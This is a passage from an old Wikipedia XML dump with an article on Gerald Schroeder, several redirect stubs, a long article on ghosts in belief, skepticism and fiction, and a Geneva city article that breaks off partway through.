      <text xml:space="preserve">Dr. '''Gerald Schroeder''' is a former professor of [[nuclear physics]] at [[Massachusetts Institute of Technology|MIT]] and former member of the [[U.S. Atomic Energy Commission]]. He is the author of ''Genesis and the Big Bang'', ''The Science of God: The Convergence of Scientific and Biblical Wisdom'', and ''The Hidden Face of God''.

Schroeder attempts to reconcile the Biblical account of the age of the universe and of Creation by the hand of God with modern science's claim that the world is billions of years old and that the process of evolution led to the existence of life. He is closely affiliated with [[Aish HaTorah]], a Jerusalem-based organization promoting [[Orthodox Judaism]].

In his article [http://www.firstthings.com/ftissues/ft9811/johnson.html &quot;What Would Newton Do?&quot;], Intelligent Design advocate [[Phillip E. Johnson]] summarizes Schroeder's article [http://www.geraldschroeder.com/age.html &quot;The Age of the Universe&quot;]:

:Schroeder starts by noting that the generations of humans starting with [[Adam and Eve]] adds up to 5757 years. The biblical &quot;clock&quot; for this purpose starts after the initial six days, a mysterious preliminary period which ancient commentators said contains &quot;all the secrets and ages of the universe.&quot; Before Adam, and especially before the creation of the earth, the [[Bible]] speaks of time from the viewpoint of the universe as a whole, which Schroeder interprets to mean at the moment of &quot;[[quark]] [[confinement]],&quot; when stable matter formed from energy early in the first second of the [[big bang]].

:[[Theory of relativity|Relativity theory]] teaches that time passes much more slowly in conditions of great gravitational pressure than it does on earth. Using these familiar principles, Schroeder calculates that a period of six days under the conditions of quark confinement, when the universe was approximately a million million times smaller and hotter than it is today, is equal to fifteen billion years of earth time. Genesis and modern physics are reconciled.

Critics argue that by choosing a frame of reference in this way using a different moment, and so a different gravitational environment, the six days may in fact be expanded into 100 billion years, a million years, or indeed any other period of time. Further, they argue that the formulation of the argument in fact requires the existence of [[absolute time]], in direct violation of the Theory of Relativity.[http://www.talkreason.org/articles/schroeder.cfm#six] Other serious factual errors have also been pointed out in his works, including assertions that:
*[[Maser]]s fire [[atom]]s
*[[Kinetic energy]] is proportional to [[velocity]]
*[[Diffraction]] does not occur if the opening is larger than the [[wavelength]]
*[[Mass]] and [[weight]] are the same
*[[Heat]] may be diluted by expansion
*hf = mc^2 (The left hand side is a [[variable]], dependent on the particle's [[velocity]], while the right is a [[constant]])

==Bibliography==
* ''Genesis and the Big Bang'', Bantam Books [[1990]], ISBN 0553354132
* ''The Science of God: The Convergence of Scientific and Biblical Wisdom'', [[1997]], ISBN 076790303X
* ''The Hidden Face of God'', Free Press [[May 9]], [[2002]], ISBN 0743203259.

== See also == 
* [[creationism]]
* [[cosmology]]
* [[age of the Earth]]

== External links ==
* [http://www.geraldschroeder.com/ Official homepage]
* [http://www.pandasthumb.org/archives/2005/11/confronted_with.html Confronted with critique, Schroeder lost voice] (Critical viewpoint)

[[Category:Intelligent design advocates|Schroeder, Gerald]]
[[Category:Nuclear physicists|Schroeder, Gerald]]</text>
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    <title>Gray coding</title>
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        <username>Zundark</username>
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      <comment>redirect to better article at Gray_code (contents moved to Talk:Gray_code)</comment>
      <text xml:space="preserve">#REDIRECT [[Gray code]]</text>
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    <title>Grand Prix Motorcycles</title>
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      <comment>#REDIRECT [[Grand Prix motorcycle racing]]</comment>
      <text xml:space="preserve">#REDIRECT [[grand Prix motorcycle racing]]</text>
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  <page>
    <title>Ghost</title>
    <id>12514</id>
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      <text xml:space="preserve">:''This article is about the [[paranormal]]. For other meanings, see [[ghost (disambiguation)]].''

A '''ghost''' is an alleged non-corporeal manifestation of a [[dead]] person (or, rarely, an animal). It is often thought to be a manifestation of the [[spirit]] or [[soul]] of a person which has remained on [[Earth]] after [[death]]. According to some beliefs, a ghost may be the personality of a person after his or her death, and not tied directly to the soul or spirit. Every culture in the world carries stories about ghosts, but they vary across time and place, with disagreements both as to what ghosts are and whether they are just figments of imagination or a part of reality.

== Beliefs about ghosts ==

Ghosts are often depicted of a human size and shape (although some accounts also mention animal ghosts), but typically described as &quot;silvery&quot;, &quot;shadowy&quot;, &quot;semitransparent&quot;, &quot;misty&quot; or &quot;fog-like.&quot; [[Parapsychologists]] refer to the &quot;substance&quot; of which ghosts and other spirits are made of as &quot;[[ectoplasm]]&quot;.  Ghosts do not have a physical body like human beings, but only a subtle [[astral body]]. Sometimes they do not manifest themselves visually but in terms of other phenomena, such as the movements of an object, spontaneous throwing of a light switch, noises, etc., which supposedly have no natural explanation. 

In the West, those who believe in ghosts sometimes hold them to be souls that could not find rest after death, and so linger on Earth. The inability to find rest is often explained by unfinished business, such as a victim seeking justice or revenge after death. Criminals sometimes supposedly linger to avoid [[Purgatory]] or [[Hell]]. It is sometimes held that ghosts reside in [[Limbo]], a place, according to nonorthodox [[Catholicism|Catholic]] doctrine, between [[Heaven]] and [[Hell]] where the souls of unbaptized infants go. It is worth noting that while mainstream [[Protestants]] and [[Evangelical Christians]] believe in the existence of principalities, they do not believe in ghosts (as spiritual manifestations of the dead) and would generally attribute more violent ghosts, such as [[poltergeists]], to the actions of [[demons]]. 

Some ghost researchers approach the possibility of ghosts from a more scientific standpoint, seeking to find correlations and causal relationships between recordable phenomena and the supposed presence of ghosts.  Those who follow this approach most often believe that ghosts are not actual disembodied souls or spirits, but rather they are impressions of psychic energy left behind by a deceased (or in some rare cases, still living) person.  They assert that traumatic events (such as a murder or suicide) cause mental energy to be released into the world, where it may be experienced by other people who are sensitive to its presence.  This way of thinking classifies ghosts in the same category of [[preternatural]] unexplained phenomena as [[poltergeists]]/[[telekinesis]], [[extra-sensory perception|ESP]], and [[telepathy]].  Theories from this approach often encounter difficulties in explaining ghosts that appear to be sentient, such as those which answer questions or react to specific actions from people present.  However, it may be possible that enough of a dead person's psyche might be imprinted on an environment so as to give the likeness of thought or autonomy.

In Asian cultures (such as [[China]]), many people believe in [[reincarnation]]. Ghosts are those souls that refused to be &quot;recycled&quot; because they have unfinished business, similar to those in the West. [[Exorcism|Exorcist]]s can either help a ghost to be driven away or reincarnated. In Chinese tradition, apart from being reincarnated, a ghost can also become immortal and become a [[demigod]], or it can go to hell and suffer for eternity, or it can die again and become &quot;ghost of ghost&quot;. The Chinese also believe that some ghosts, especially those who died of drowning, kill people in order to rob them of their rights to reincarnation. The victims of such paranormal &quot;murders&quot; are called tìsíguǐ (&amp;#26367;&amp;#27515;&amp;#39740;), literally &quot;substitute death ghost&quot; or &quot;substitute devil&quot; which in Chinese is a synonym for [[scapegoat]]. Also in China, particularly in the [[Guangzhou]] area, the Chinese people usually hold a Chinese version of [[Day of the dead]] ritual for their ancestors in autumn. The ritual consists of burning [[Hell Bank Notes]] and other luxury items made of paper mache as well as pouring wine three times on their grave and leaving food. An older ritual is for the living family to prepare a grand feast for their dead relatives &quot;returning&quot; home. During the time of feast, those relatives amongst the living are not allowed to leave their bedrooms regardless of how much noise the ghost makes.

Very detailed information about ghosts is given in [[Garuda]] [[Purana]], a scripture from [[Vedic religion|Vedic]] ([[Hindu]]) tradition. How ghosts fit into this worldview is shown [http://veda.harekrsna.cz/planetarium/index.htm#15 here].

Both the West and the East share some fundamental beliefs about ghosts. They may wander around places they frequented when alive or where they died. Such places are known as &quot;[[haunted house|haunt]]ed&quot;; the rounds they go on are known as &quot;hauntings&quot;. They often wear the sort of clothing in which they would have been seen when alive.

[[Buddhist]] [[Samsara]] includes the concept of the [[hungry ghost realm]]. [[sentience|Sentient being]]s in that realm are referred to as ''hungry ghosts'' because of their attachment to this world. [[Asura]]s are also referred to as &quot;fighting ghosts&quot;.

==Skeptical analysis==

While some accept ghosts as a reality, many others are skeptical of the [[existence]] of ghosts. For example, the vast [[majority]] of the [[scientific community]] believes that ghosts, as well as other [[supernatural]] and [[paranormal]] entities, do not exist.

Skeptics often explain ghost sightings with the principle of [[Occam's razor]], which argues that explanations should maximize [[parsimony]] with the rest of our [[knowledge]]. They may suggest that, since few to none of us have ever had an [[interpersonal relationship]] with a ghost, but most or all of us have had an experience of [[delusion|self-delusion]] or have attributed a [[causality|false cause]] to an event, that these options should be preferred in the absence of a great abundance of evidence. They are also keen to note that most ghost sightings happen when our [[senses]] are impaired, and that the [[evidence]] is unreliable because it doesn't occur when we have full use of our faculties.
 
Occasionally, the sincerity and motive of the claimant will be questioned. They might make up a haunting for a personal reason. For example, lingering of ghosts is typically associated with seeking justice or revenge. Ascribing such motives and powers to dead people could be interpreted as a scare tactic. Also, a person might claim a haunting for personal popularity and income. 

A [[hoax]] or [[confidence game|con]] might also be getting played on the reporting person themselves. Again, the reasons could be popularity and income; but fear might also factor into the motive. For example, the telling of ghost stories might be a way for secluded communities to scare off intruders. It can also discourage new tenants from living in an apparently abandoned house. A society could have elaborate setups with members of that community playing ghosts. 

[[Human]] [[physiology]] may make us more susceptible to ghost sightings. Ghosts are often associated with a chilling sensation, but a natural animal response to fear is hair raising, which can be mistaken for chill. Also, the peripheral vision is very sensitive to motion, but does not contain much color or focused shapes. Any random motion outside the focused view can create a strong illusion of an eerie figure. Also, [[sound]] [[waves]] with [[frequencies]] lower than 20 [[hertz]] are called [[infrasound]]; they are formally inaudible, but British scientists Richard Lord and Richard Wiseman have concluded that infrasound can cause humans to feel a &quot;presence&quot; in the room, or unexplained feelings of anxiety or dread.[http://www.smh.com.au/articles/2003/09/08/1062901994082.html?oneclick=true]

Sometimes ghosts are associated with [[electromagnetic]] disturbances, which suggests that they might be attributable to the [[electromagnetic field]] and not to a presently dead [[person]]. Often, videos of paranormal investigators will show them using [[E-field]] or [[B-field]] detectors and finding &quot;ghostly&quot; results near wall outlets and electrical appliances.

Psychological factors may also relate to ghost sightings. Many people exaggerate their interpretation of their own perceptions, either when visiting a place they believe to be haunted, or when visiting a site which they know has seen unpleasant historical events. Certain images such as paintings and movies might &quot;program&quot; a person to automatically associate a certain structure or area as haunted because of what he has seen in the movies.

The earliest literature to rationally discuss the issue comes from the Chinese philosopher, [[Mozi|Mo Tzu]] (470-391 BC)
:''&quot;Since we must understand whether ghosts and spirits exist or not, how can we find out? Mo Tzu said: The way to find out whether anything exists or not is to depend on the testimony of the ears and eyes of the multitude. If some have heard it or some have seen it then we have to say it exists. If no one has heard it and no one has seen it then we have to say it does not exist. So, then, why not go to some village or some district and inquire? If from antiquity to the present, and since the beginning of man, there are men who have seen the bodies of ghosts and spirits and heard their voices, how can we say that they do not exist? If none have heard them and none have seen them, then how can we say they do? But those who deny the existence of the spirits say: &quot;Many in the world have heard and seen something of ghosts and spirits. Since they vary in testimony, who are to be accepted as really having heard and seen them?  Mo Tzu said: As we are to rely on what many have jointly seen and what many have jointly heard, the case of Tu Po is to be accepted. (note: King Hsuan (827-783 BC executed his minister, Tu Po, on false charges even after being warned that Tu Po's ghost would seek revenge. Three years later, according to historical chronicles, Tu's ghost shot and killed Hsuan with a bow and arrow before an assembly of feudal lords)''... Taken from Chapter 31, translated by Yi-pao Mei

==Famous ghosts==

It seems likely that the building with the most distinguished ghosts as rumored tenants is the [[Tower of London]], which is reported to be haunted by: 
* The headless ghost of [[Anne Boleyn]];  
* The ghost of [[Thomas Becket]], which allegedly appeared during the construction of the Traitor's Gate;
* The ghosts of King [[Edward V of England]] and [[Richard, Duke of York (Prince in the Tower)|Richard, Duke of York]], the &quot;[[Princes in the Tower]]&quot;;
* The ghost of [[Lady Jane Grey]];
* The ghost of Sir [[Walter Raleigh]];
* A troupe of ghosts who allegedly reenact the execution of [[Margaret Pole, 8th Countess of Salisbury]];
*Barquest, a giant spectral dog believed by the French to haunt graveyards
*Norman Leslie, a fallen [[World War 1]] soldier who appeared when his great niece was looking for a missing document that proved that Castle Leslie belonged to her family
 
Several other ghosts are said to make the Tower their home; phantom troops of soldiers reportedly appear there, as well as a lady in [[mourning]] with no face. 

The cities of [[York]] and [[Derby]] in England are also reputed to be a center of ghostly manifestations; consequently, they both thrive on hugely successful ghost tour industries. Indeed, the presence of many centuries-old buildings has given England the reputation of the most haunted country in the world.

The [[White House]] in [[Washington, D.C.]], is said to be haunted by the ghost of [[Abraham Lincoln]] and by several lesser spectres.  

The ghost of the [[Roman Emperor]] [[Caligula]] was said to haunt the Lamian Gardens of [[Rome]], where his body had been hastily and unceremoniously [[burial|buried]] after his [[assassination]].  

In the [[Bible|Biblical]] account of the [[Witch of Endor]], King [[Saul the King|Saul]] of [[Kingdom of Israel|Israel]] has the witch conjure up the ghost of the prophet [[Samuel]] to consult him on his precarious situation. The prophet's spirit gives the king no assistance, but rebukes him and foretells his doom instead.

The former prison island of [[Alcatraz]] off the coast of [[San Francisco]] is said to be home to a number of ghosts of prisoners that died there.

The city of [[New Orleans]] is sometimes called 'America's most haunted city' with numerous ghost reports, especially in the [[French Quarter]] which remained largely undamaged by [[Hurricane Katrina]].  New Orleans' ghosts include pirates from the 18th century, through to 20th century spectres. 

The Museum of Natural Science in Ottawa, Ontario, Canada is said to be haunted by the ghost of the Canadian Prime Minister Sir Wilfrid Laurier, whose body laid there in state after his death in 1919. Many workers in the museum have noted the prescene there of a spirit after the museum is closed for the day.

The [[Kuchisake-onna]] was said to have caused [[mass hysteria]] throughout [[Japan]] during the spring and summer of 1979.

{{seealso|Stigmatized property}}

==Ghosts in fiction==
===Ghost messengers===
A popular [[genre]] of literature from the early [[Renaissance]] to the early twentieth century was the ''Dialogues of the Dead''.  These were based upon the Witch of Endor story and the visions of [[Hades]] found in both [[Homer]]'s ''[[Odyssey]]'' and [[Virgil]]'s ''[[Aeneid]]''.

In ''Odyssey'', [[Odysseus]] travels to Hades and sees the shades of his former colleagues, including some he did not know were dead, and pours out fresh blood, which the dead hunger for, until he can find [[Tiresias]] and get guidance on his voyages.  In the ''Dialogues of the Dead'' genre, authors would somehow contrive a device for summoning the dead to a character who would then speak with them and ask them questions about [[philosophy]] or current events.  These &quot;ghosts&quot; were under control of a great sorcerer or otherwise compelled to speak.  The genre was most popular in the 18th century, and examples were written by many.  [[Jonathan Swift]] satirized the genre in the third book of ''[[Gulliver's Travels]]'' by having Gulliver summon the ghosts of former kings and great conquerors and finding, instead of nobility, petty, childish, and stupid people who possessed no wisdom and who accomplished their great deeds for mean and selfish reasons.  Further, he finds that the ancestors of many great lords and ladies of his day were stable boys, servants, etc.

In each of these cases, the fictional ghost offers counsel to the living and thus acts as a messenger from the implicitly greater world beyond.  However, the ghost messenger can also act as a way reminiscent of the [[guardian angel]] in fiction.  In some fictions, a departed relative (usually) or friend guides the living to either a moral or material benefit.  Such ghosts can either act as a ''[[deus ex machina]]'' by resolving plot points with supernatural power or as a [[mentor]] who offers sagacity to the characters with a limited [[point of view]].

Finally, the ghost messenger features in fiction as a ghost in disguise.  A character otherwise regarded as living turns out, in the fiction's [[denouement]], to be a supernatural agent.  In [[folk music]], there are songs featuring lovers and objects of affection who must leave before dawn (a variant on the [[Cupid and Psyche]] story) because they are ghosts.  Additionally, some [[urban legends]], such as the &quot;Hitchhiking ghost,&quot; turn upon an anonymous stranger (or [[Elvis Presley]] in a common variant) who is revealed to be a ghost in the clinch of the story.  Such a ghost in disguise usually, in fiction, offers statements or visions that are relevant to the plot, but not in a way comprehensible to the characters.  Such gnomic or [[oracle|oracular]] statements reward the reader with knowledge greater than the fiction's participants.

===Ghost stories===
{{main|Ghost story}}
The malign ghost whose intent is either to set right an injustice or to be avenged upon the living, either in general or on a specific person, features in many fictions.  In the Elizabethan and Jacobean stage, the vengeful ghost is a commonplace who sets plots in motion.  However, the haunting and mystery/adversarial acts of the ghost appears later in the &quot;ghost story.&quot;  Hauntings feature in ''[[Eyrbyggja Saga]]'' for a section of the work, but the &quot;[[Gothic novel]]&quot; and later &quot;Gothic fiction&quot; introduced the use of ghosts for fear to literature.  [[Horace Walpole]]'s [[1764]] ''[[The Castle of Otranto]]'' was among the first to set up the rational but malign actions of a ghost to create an atmosphere of foreboding, mystery, and fear.  After [[Edgar Allan Poe]], the &quot;ghost story&quot; began an independent generic history, and today the genre of Horror continues the use of ghosts as villains in fiction.  (See [[Horror fiction]] for more on the haunted/ghost-driven fiction.)

===Other uses of ghosts in fiction===

In many stories, ghosts are often depicted as haunting the living until a certain desire is met or some grievance was settled by the haunted.  

In the fictional [[Harry Potter]], there are a number of ghosts including [[Hogwarts ghosts#Nearly Headless Nick|Nearly Headless Nick]], [[Hogwarts ghosts#The Bloody Baron|The Bloody Baron]], [[Hogwarts ghosts#The Fat Friar|The Fat Friar]] and the Grey Lady, who might be based on Lady [[Jane Grey]]. Ghosts in the novel are also keen on having a [[Deathday Party]] on the anniversaries of their deaths.

In [[William Shakespeare|Shakespeare's]] play ''[[Hamlet]]'', a ghost taking the form of Hamlet's recently deceased father appears to Prince Hamlet one night.  The ghost says that he was in fact murdered by his brother Claudius, who now (by virtue of having married Hamlet's mother Gertrude) occupies the throne.  The ghost exhorts Hamlet to take revenge on Claudius.  When Hamlet sees the ghost, he is not sure if it is in fact his father's spirit or a [[demon]] whose aim is to deceive him. [[Julius Caesar]]'s ghost appears to [[Brutus]] in Shakespeare's ''[[Julius Caesar (play)|Julius Caesar]]'' to warn Brutus of his impending defeat. In Shakespeare's ''[[Macbeth]]'', the title character believes he sees the &quot;blood-bolter'd&quot; ghost of his former friend [[Banquo]] sitting in his chair during a feast. Finally, in the play ''[[Richard III (play)|Richard III]]'', the title character is visited by the angry ghosts of those he has killed, foretelling his doom and blessing his opponent, Richmond, later to become [[Henry VII of England|Henry VII]].

[[Casper the Friendly Ghost]] is a cartoon character from [[Harvey Comics]].  Despite his ghostliness, the good-natured Casper tries to befriend people rather than scare them. 

There are ghost [[superhero]]es who fight for justice, such as [[DC Comics]]' [[The Spectre]] and [[Deadman]], as well as [[Nickelodeon (TV channel)|Nickelodeon]]'s [[Danny Phantom]]. 

In the film ''[[The Sixth Sense]]'', actor [[Bruce Willis]] plays a child psychologist working with a young boy ([[Haley Joel Osment]]) who believes he can see the spirits of the [[dead]] among the living. 

In the film ''[[The Ghost Goes West]]''  (1935), actor [[Robert Donat]] plays a ghost in a Scottish castle which is bought, dismantled and shipped to the U.S. by a millionaire, [http://www.imdb.com/title/tt0026406/plotsummary see plot summary]. 

In the ''[[Ghostbusters]]'' film and television cartoon, the protagonists use special technology of their own design to hunt and capture/exile the ghosts they encounter.

In the [[anime]] title ''[[Ghost in the Shell]]'', ''ghost'' is a word used to describe a person's inner being, similar to the concept of a [[soul]].

In the controversial [[BBC]] film ''[[Ghostwatch]]'', a ghost invades the world of the living.

Other famous ghosts in fiction include the [[Headless Horseman]], who appears in [[Washington Irving]]'s ''[[The Legend of Sleepy Hollow]]''. [[Tom Sawyer]] and [[Huckleberry Finn]] visit a haunted house in [[Mark Twain]]'s ''[[The Adventures of Tom Sawyer]]''. Boag-Munroe is the fictional ghosthunter from A Haunted Man by horror writer [[Stuart Neild]]. [[Algernon Blackwood]] was a British writer who is well known for writing ghost stories.  Other authors in the field include [[Oscar Wilde]] (''[[The Canterville Ghost]]'', 1887), [[M. R. James]], [[J. Sheridan Le Fanu]], [[H. R. Wakefield]], and [[E. F. Benson]]. 

Theatre productions sometimes feature ghosts. One way to make the phantom appear on stage is [[Pepper's ghost]] technique.

In Asian horror cinema, the ghost stories often include adaptations of old oriental [[folklore]] set in a present day city. The recent Japanese movie ''[[The Ring]]'' and the Hong Kong movie ''[[The Eye (2002 film)|The Eye]]'' are both inspired by old wives' tales about haunting spirits.

[[WWE]] features two wrestlers, who portray men that have died and come back from the dead several times. They are [[Mark_Calaway|The Undertaker]] and [[Glen_Jacobs|Kane]]. Despite their unrealistic and outlandish nature, these gimmicks are very popular and have led to many championship runs for both men.

In popular 1990 academy award winning film [[Ghost_(film)|''Ghost'']], the ghost of a murdered man (played by [[Patrick Swayze]]) returns to earth to find out more about his murder and seek revenge on his killer. With the help of a psychic medium, he contacts his wife and learns the truth.

==See also==
*[[Apparition]]
*[[Spectral evidence]]
*[[Bloody Mary (person)]]
*[[Borley Rectory]]
*[[Churel]] (Indian female ghost)
*[[Doppelganger]]
*[[Electronic voice phenomenon]]
*[[Exorcism]]
*[[Ghostbusters]]
*[[Ghost dance]]
*[[Ghost Festival]]
*[[Ghost ship]]
*[[Ghost train]]
*[[Gidim]] (Sumerian ghosts)
*[[Holy Ghost]]
*[[Hungry ghost realm]]
*[[Hypnopompic imagery]]
*[[La Llorona]]
*[[Legend-tripping]]
*[[List of haunted locations]]
*[[Parapsychology]]
*[[Phantom animals]]
*[[Phantom vehicle]]
*[[Poltergeist]]
*[[Pontianak]]
*[[Samsara]]
*[[Spectre (creature)]]
*[[Sprite (creature)]]
*[[Undead]]
*[[Yuurei]]


==References==
[http://www.smh.com.au/articles/2003/09/08/1062901994082.html?oneclick=true &quot;Sounds like terror in the air&quot;]. (Sep. 9, 2003). ''Sydney Morning Herald''.

==External links==
*[http://www.ghosts.org/ Obiwan's UFO-FREE Paranormal Page]
*[http://paranormalghost.com/spirit_classification.htm  Spirit Classification Guide]



[[Category:Ghosts]]
[[Category:Paranormal phenomena]]
[[Category:Folklore]]


[[de:Gespenst]]
[[es:Fantasma]]
[[fr:Fantôme]]
[[hu:Kísértet]]
[[it:Fantasma]]
[[he:רוח רפאים]]
[[ms:Hantu]]
[[nl:Spook]]
[[ja:亡霊]]
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[[pl:Duch]]
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[[zh:亡靈]]</text>
    </revision>
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  <page>
    <title>Gibbs phase rule</title>
    <id>12516</id>
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      <comment>redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Gibbs' phase rule]]</text>
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  <page>
    <title>Gabriel GarcÃ­a MÃ¡rquez</title>
    <id>12518</id>
    <revision>
      <id>15910202</id>
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      <text xml:space="preserve">#REDIRECT [[Gabriel García Márquez]]</text>
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  <page>
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    <revision>
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      <comment>fx dbl redir</comment>
      <text xml:space="preserve">#REDIRECT [[Gödel's incompleteness theorems]]</text>
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  </page>
  <page>
    <title>Geneva</title>
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    <revision>
      <id>41933854</id>
      <timestamp>2006-03-02T18:53:29Z</timestamp>
      <contributor>
        <ip>202.68.145.230</ip>
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      <comment>pronunciation</comment>
      <text xml:space="preserve">{{otheruses}}
{{Infobox_Swiss_town|
subject_name=[[Image:Armoiries_ville_Geneve.png|120px|none|City of Geneva [[coat of arms]]]]|
canton=Geneva|district=n.a.|
nd=46|nm=12|ed=6|em=09|
postal_code=1200|
population=185,526|populationof=2004| 
area=15.86|altitude=375|
mayor=Manuel Tornare|
website=www.ville-ge.ch|
map=map missing|
}}
'''Geneva''' (pronunciation /{{IPA|dʒəniːvə}}/; [[French language|French]]: ''Genève'' /{{IPA|ʒənɛv}}/, [[German language|German]]: ''Genf'' /{{IPA|gɛnf}}/, [[Italian language|Italian]]: ''Ginevra'') is the second most populous city in [[Switzerland]], situated where [[Lake Geneva]] ([[French language|French]] ''Lac Léman'') flows into the [[Rhône River]]. It is the capital of the [[Canton of Geneva]]. The population within the city limits is 185,526 ([[as of 2004|2004]]) and that of the city and its suburbs — which extend into France — is 645,000 ([[as of 2000|2000]]). Geneva's international profile as a [[Global cities|global city]] is mainly due to the presence in the city of numerous [[international organisation]]s, including the European headquarters of the [[United Nations]].

See [[Names of European cities in different languages]] for a list of the name of this city in other languages.
 
== History ==
[[Image:Geneva - Switzerland - 2005 - 01.JPG|thumb|left|250px|Rue de la Croix-d'Or, one of the main streets of Geneva, part of ''les Rues Basses'']]
''Geneva'' was the name of a settlement of the [[Celt|Celtic]] people of the [[Allobroges]]. The name of ''Genava'' (or ''Genua'') in Latin appeared for the first time in the writings of [[Julius Caesar]] in ''[[De Bello Gallico]]'', his comments on the [[Gallic Wars]]. Its name may be identical in origin to the name of the [[Ligurian language|Ligurian]] city of ''Genua'' (modern [[Genoa]]), meaning &quot;knee&quot;; that is, &quot;angle&quot;, referring to its geographical position; though more likely is based on the root gen- 'birth' (Genawa is at the birth of the river from the womb of the lake; perhaps the name in full means 'birth-water'). After the Roman conquest it became part of the ''Provincia Romana'' ([[Gaul|Gallia Narbonensis]]). In [[58 BCE]], at Geneva, Caesar hemmed in the [[Helvetii]] on their westward march. In the [[9th century]] it became the capital of [[Burgundy]]. Though Geneva was contested among Burgundians and Franks and the Holy Roman Emperors, in practice it was ruled by its bishops, until the [[Reformation]], when Geneva became a [[republic]].

Due to the work of [[Protestant Reformation|reformers]] such as [[John Calvin]], Geneva was sometimes dubbed ''the Protestant Rome''. In the [[16th century]] Geneva was the center of [[Calvinism]]; the [[St. Pierre Cathedral|St Peter's Cathedral]] in what is now called the Old Town was John Calvin's own church. During the time when England was ruled by Queen Mary I, who persecuted Protestants, a number of Protestant scholars fled to Geneva. Among these scholars was William Whittingham who supervised the translation of the [[Geneva Bible]] in collaboration with Miles Coverdale, Christopher Goodman, Anthony Gilby, Thomas Sampson, and William Cole.

One of the most important events in Geneva's history is ''[[l'Escalade]]'' (literally: &quot;the scaling of the wall&quot;). For the people of Geneva, l'Escalade is the symbol of their independence. It marked the final attempt in a series of assaults mounted throughout the 16th century by [[Savoy]], which wanted to annex Geneva as its capital north of the Alps. This last assault happened on the night of 11-12 December [[1602]] and is celebrated yearly in the Old Town with numerous demonstrations and a parade of horses, cannons and armed men in period costumes.

Geneva, or officially the ''Canton and Republic of Geneva'', became a canton of Switzerland in [[1815]]. The first of the [[Geneva Conventions]] was signed in [[1864]], to protect the sick and wounded in war time.

== Geography ==
[[Image:Lake-Geneva-west-satellite.jpg|thumb|right|250px|Satellite photo of the Geneva region. The [[Jura mountains]] can be seen at the top, and the [[Alps]] at the bottom.]]
Geneva is located at 46&amp;deg;12 North, 6&amp;deg;09' East, at the south-western end of [[Lake Geneva]], where the lake flows into the [[Rhône River]]. It is surrounded by two mountain chains, the [[Alps]] and the [[Jura mountains|Jura]].

The city of Geneva has an area of 15.86 km², while the area of the [[Canton of Geneva]] is 282 km², including the two small enclaves of [[Céligny]] in [[Vaud]]. The part of the Lake that is attached to Geneva has an area of 38 km² and is sometimes referred to as ''Petit lac'' (''small lake''). The Canton has only a 4.5 km border with the rest of Switzerland; out of a total of 107.5 km of borders, the remaining 103 are shared with [[France]], with the [[Ain|Départment de l'Ain]] to the North and the [[Haute-Savoie|Département de la Haute-Savoie]] to the South.

The altitude of Geneva is 373.6 m, and corresponds to the altitude of the largest of the [[Pierres du Niton]], two large rocks emerging from the lake which date from the last ice age. This rock was chosen by General [[Guillaume Henri Dufour]] as the reference point for all surveying in Switzerland [http://www.swisstopo.ch/en/basics/geo/faq/horizon].

The second main river of Geneva is the [[Arve River]] which flows into the [[Rhône River]] just west of the city centre.

== Demographics ==

As of [[2004]], the population of the Commune (city) of Geneva was 185,526, while 438,500 people lived in the Canton of Geneva. In 2000, 645,000 people lived in the Geneva urban community, which extends into Vaud Canton and neighboring France.  

The population of the Canton is split between 145,200 people originally from Geneva (33.1%), 123,400 Swiss from other cantons (28.2%) and 169,000 foreigners (38.7%), from 180 different countries. Including people holding [[dual citizenship]], 54.4% of people living in Geneva hold a foreign passport.
[http://www.geneve.ch/statistique/statistiques/domaines/domaine.asp?domaine=pop&amp;sousdomaine=pop&amp;vue=apercu]
[http://www.swissinfo.org/sfr/swissinfo.html?siteSect=105&amp;sid=6160464]

While Geneva is usually considered as a [[Protestant]] city, there are now more [[Roman Catholics]] (39.5%) than Protestants (17.4%) living in the Canton. 22% of the inhabitants indicate that they are not part of any religion, the rest being shared between [[Islam]] (4.4%), [[Judaism]] (1.1%), other religions and people who did not respond.
[http://www.geneve.ch/statistique/statistiques/domaines/domaine.asp?domaine=cult_media&amp;sousdomaine=lang_religion&amp;vue=apercu] (2000 figures.)

== International organizations ==
[[Image:Geneva - Switzerland - 2005 - 02.JPG|thumb|right|250px|Streets in the Old Town of Geneva]]
Geneva is the seat of many [[international organisation]]s, including the European headquarters of the [[United Nations]] and several other international bodies, such as the [[World Health Organization]], the [[International Labour Organization]], the [[United Nations High Commissioner for Refugees]], the [[United Nations High Commissioner for Human Rights]], the [[World Intellectual Property Organization]], the [[International Telecommunication Union]], the [[World Meteorological Organization]], the [[World Trade Organization]] and the [[Inter-Parliamentary Union]]. Geneva also hosts the European Organization for Nuclear Research, or [[CERN]], the [[International Organization for Standardization]], the [[World Council of Churches]], the [[World Wide Web Virtual Library]], the [[World Economic Forum]], the [[International Committee of the Red Cross]] and the [[International AIDS Society]].

Geneva was the seat of the [[League of Nations]] between [[1919]] and the league's dissolution in [[1946]]. It was first housed in the [[Palais Wilson]], and then in the [[Palais des Nations]], which now hosts the [[United Nations]].

==Economy==

The Geneva's economy is mainly services oriented. The city has an important and old [[Financial services|finance sector]], which is specialized in [[private banking]] (managing assets of about 1 trillion US$) and financing of [[international trade]]. It is also an important centre of [[Commodity markets|commodity trade]]. 

Geneva is the international headquarter of companies like [[Serono]], [[STMicroelectronics]], [[Société Générale de Surveillance]], [[Mediterranean Shipping Company S.A.|Mediterranean Shipping Company]] and [[SITA]]. Many other multinational companies like [[Procter &amp; Gamble]], [[DuPont]], [[Hewlett-Packard]], [[Reuters]], [[Japan Tobacco|JT International (JTI)]], [[Electronic Arts]] and [[Sun Microsystems]] have their European headquarters in the city too.

There is a long tradition of [[Watch]]making ([[Rolex]], [[Patek Philippe &amp; Co.|Patek Philippe]], [[Baume et Mercier]], [[Franck Muller]]). Two major international producers of [[flavour]]s and [[fragrance]]s, [[Firmenich]] and [[Givaudan]], have their headquarters and main production facilities in Geneva.

==Infrastructure==

===Transportation===

The city is served by the [[Geneva Cointrin International Airport]]. It is connected to both the Swiss railway network [[SBB-CFF-FFS]], and to the [[France|French]] [[SNCF]] network, including direct connections to [[Paris]] by [[TGV]]. Geneva is also connected to the motorway systems of both Switzerland ([[A1 (Switzerland)|A1 motorway]]) and France.

Public transport by [[bus]], [[trolleybus]] or [[tram]] is provided by ''[[Transports Publics Genevois]]'' (TPG). In addition to an extensive coverage the city centre, the network covers most of the municipalities of the Canton, with a few lines extending into France. Public transport by [[boat]] is provided by the [[Mouettes Genevoises]], who link the two banks of the Lake; however, their use is mostly touristic.

